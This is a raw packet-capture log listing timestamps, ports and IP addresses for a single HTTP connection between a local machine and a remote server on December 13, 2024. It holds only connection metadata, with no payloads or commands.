Dec 13, 2024 03:40:50.762273073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.762325048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.763029099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.763079882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.763109922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.763149977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.763817072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.763868093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.763926983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.764010906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.764625072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.764682055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.764751911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.764796972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.765501976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.765558004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.765567064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.765626907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.766253948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.766299009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.766377926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.766412973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.767043114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.767090082 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.836529970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.836581945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.836621046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.836632967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.836678982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.836678982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.836730957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.836824894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.837661982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.837718010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.837729931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.837806940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.838289022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.838350058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.838393927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.838393927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.839066982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.839176893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.839225054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.839225054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.839900970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.840030909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.840068102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.840085983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.840728045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.840765953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.840800047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.840800047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.841504097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.841598034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.841631889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.841648102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.842329979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.842417002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.842457056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.842519999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.843154907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.843210936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.843255043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.843349934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.844088078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.844207048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.844254017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.844254017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.845029116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.845082045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.845086098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.845146894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.845616102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.845662117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.845669985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.845732927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.846427917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.846489906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.846543074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.846602917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.847237110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.847307920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.847373962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.847431898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.848061085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.848133087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.848171949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.848238945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.848870993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.848933935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.848989964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.849052906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.849677086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.849752903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.849792957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.849858046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.850509882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.850573063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.850611925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.850655079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.851330996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.851383924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.851437092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.851504087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.852148056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.852237940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.852252007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.852304935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.852946043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.853048086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.853063107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.853112936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.853800058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.853853941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.853914022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.853914022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.854583025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.854639053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.854691982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.854763031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.855405092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.855456114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.855484962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.855531931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.856218100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.856267929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.856334925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.856399059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.857033968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.857084036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.857131958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.857173920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.913398027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.913451910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.913490057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.913506031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.913506985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.913549900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.913568974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.913641930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.914592981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.914647102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.914686918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.914740086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.915486097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.915538073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.915560961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.915661097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.915972948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.916161060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.916168928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.916229010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.916762114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.916873932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.916898966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.916959047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.917561054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.917618036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.917695045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.917773962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.918411016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.918513060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.918550014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.918566942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.919229031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.919306040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.919359922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.919426918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.920010090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.920069933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.920151949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.920206070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.920841932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.920896053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.920943022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.921006918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.921649933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.921714067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.921761036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.921811104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.922487020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.922533035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.922614098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.922719002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.923269987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.923329115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.949449062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.949503899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.949542999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.949548006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.949548006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.949656010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.949671984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.949830055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.950476885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.950548887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.950596094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.950596094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.951234102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.951332092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.951383114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.951446056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.952043056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.952159882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.952209949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.952209949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.952877045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.952931881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.952941895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.953000069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.953644037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.953762054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.953773975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.953835011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.954472065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.954525948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.954536915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.954593897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.955353975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.955404043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.955406904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.955476046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.956110001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.956161022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.956163883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.956253052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.957034111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.957206964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.957216024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.957274914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.957735062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.957798004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.957863092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.957921028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.958538055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.958622932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.958669901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.958729029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.959378004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.959682941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.029396057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.029483080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.029496908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.029519081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.029540062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.029571056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.029613018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.029664040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.030323982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.030395031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.030467987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.030523062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.031155109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.031230927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.031276941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.031337976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.031954050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.032082081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.032088995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.032157898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.032766104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.032871008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.032918930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.032975912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.033554077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.033632994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.033701897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.033751965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.034403086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.034475088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.034485102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.034524918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.035233974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.035301924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.035317898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.035351038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.036055088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.036120892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.036170959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.036217928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.036845922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.036945105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.036987066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.037061930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.037672043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.037728071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.037796021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.037854910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.038471937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.038552999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.038604975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.038660049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.039336920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.039387941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.039436102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.039499998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.040133953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.040191889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.040237904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.040326118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.040936947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.041014910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.041064024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.041136980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.041747093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.041798115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.041884899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.041954041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.042577982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.042670965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.042701960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.042795897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.043390036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.043448925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.043530941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.043623924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.044226885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.044334888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.044359922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.044405937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.045030117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.045078993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.045145035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.045243025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.045846939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.045897007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.045974016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.046025038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.046657085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.046758890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.046783924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.046828985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.047487974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.047540903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.047606945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.047677994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.048301935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.048398972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.048407078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.048465014 CET	49730	80	192.168.2.4	80.82.65.70
